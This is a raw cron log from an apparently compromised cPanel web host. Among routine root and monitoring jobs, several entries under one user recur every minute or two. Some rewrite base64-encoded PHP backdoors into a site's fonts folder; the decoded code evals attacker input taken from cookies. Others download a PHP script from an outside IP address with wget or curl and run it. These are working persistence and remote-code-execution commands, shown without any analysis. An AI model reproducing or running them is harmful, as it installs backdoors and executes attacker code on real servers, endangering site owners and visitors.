Sep 12 07:06:01 ip-184-168-122-23 CROND[16064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:07:01 ip-184-168-122-23 CROND[16152]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:07:01 ip-184-168-122-23 CROND[16154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:07:01 ip-184-168-122-23 CROND[16156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:07:01 ip-184-168-122-23 CROND[16155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:08:01 ip-184-168-122-23 CROND[16330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:08:01 ip-184-168-122-23 CROND[16332]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:08:01 ip-184-168-122-23 CROND[16334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:08:01 ip-184-168-122-23 CROND[16333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:08:01 ip-184-168-122-23 CROND[16335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:09:01 ip-184-168-122-23 CROND[16568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:09:01 ip-184-168-122-23 CROND[16567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:09:01 ip-184-168-122-23 CROND[16572]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 07:09:01 ip-184-168-122-23 CROND[16573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:09:01 ip-184-168-122-23 CROND[16574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:10:01 ip-184-168-122-23 CROND[16800]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:10:01 ip-184-168-122-23 CROND[16801]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 07:10:01 ip-184-168-122-23 CROND[16802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:10:01 ip-184-168-122-23 CROND[16806]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 07:10:01 ip-184-168-122-23 CROND[16805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:10:01 ip-184-168-122-23 CROND[16803]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 07:10:01 ip-184-168-122-23 CROND[16804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:10:01 ip-184-168-122-23 CROND[16808]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:11:01 ip-184-168-122-23 CROND[16904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:11:01 ip-184-168-122-23 CROND[16906]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:11:01 ip-184-168-122-23 CROND[16908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:11:01 ip-184-168-122-23 CROND[16909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:12:01 ip-184-168-122-23 CROND[17002]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:12:01 ip-184-168-122-23 CROND[17004]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:12:01 ip-184-168-122-23 CROND[17006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:12:01 ip-184-168-122-23 CROND[17005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:12:01 ip-184-168-122-23 CROND[17007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:13:01 ip-184-168-122-23 CROND[17201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:13:01 ip-184-168-122-23 CROND[17202]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:13:01 ip-184-168-122-23 CROND[17204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:13:01 ip-184-168-122-23 CROND[17206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:14:01 ip-184-168-122-23 CROND[17307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:14:01 ip-184-168-122-23 CROND[17309]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:14:01 ip-184-168-122-23 CROND[17310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:14:01 ip-184-168-122-23 CROND[17311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:14:01 ip-184-168-122-23 CROND[17312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:15:01 ip-184-168-122-23 CROND[17439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:15:02 ip-184-168-122-23 CROND[17442]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 07:15:02 ip-184-168-122-23 CROND[17441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:15:02 ip-184-168-122-23 CROND[17444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:15:02 ip-184-168-122-23 CROND[17443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:15:02 ip-184-168-122-23 CROND[17445]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 07:16:01 ip-184-168-122-23 CROND[17531]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:16:02 ip-184-168-122-23 CROND[17533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:16:02 ip-184-168-122-23 CROND[17534]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:16:02 ip-184-168-122-23 CROND[17537]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 07:16:02 ip-184-168-122-23 CROND[17536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:16:02 ip-184-168-122-23 CROND[17535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:17:01 ip-184-168-122-23 CROND[17631]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:17:01 ip-184-168-122-23 CROND[17632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:17:01 ip-184-168-122-23 CROND[17636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:17:01 ip-184-168-122-23 CROND[17634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:18:01 ip-184-168-122-23 CROND[17804]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:18:01 ip-184-168-122-23 CROND[17806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:18:01 ip-184-168-122-23 CROND[17809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:18:01 ip-184-168-122-23 CROND[17808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:18:01 ip-184-168-122-23 CROND[17807]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:19:01 ip-184-168-122-23 CROND[17899]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
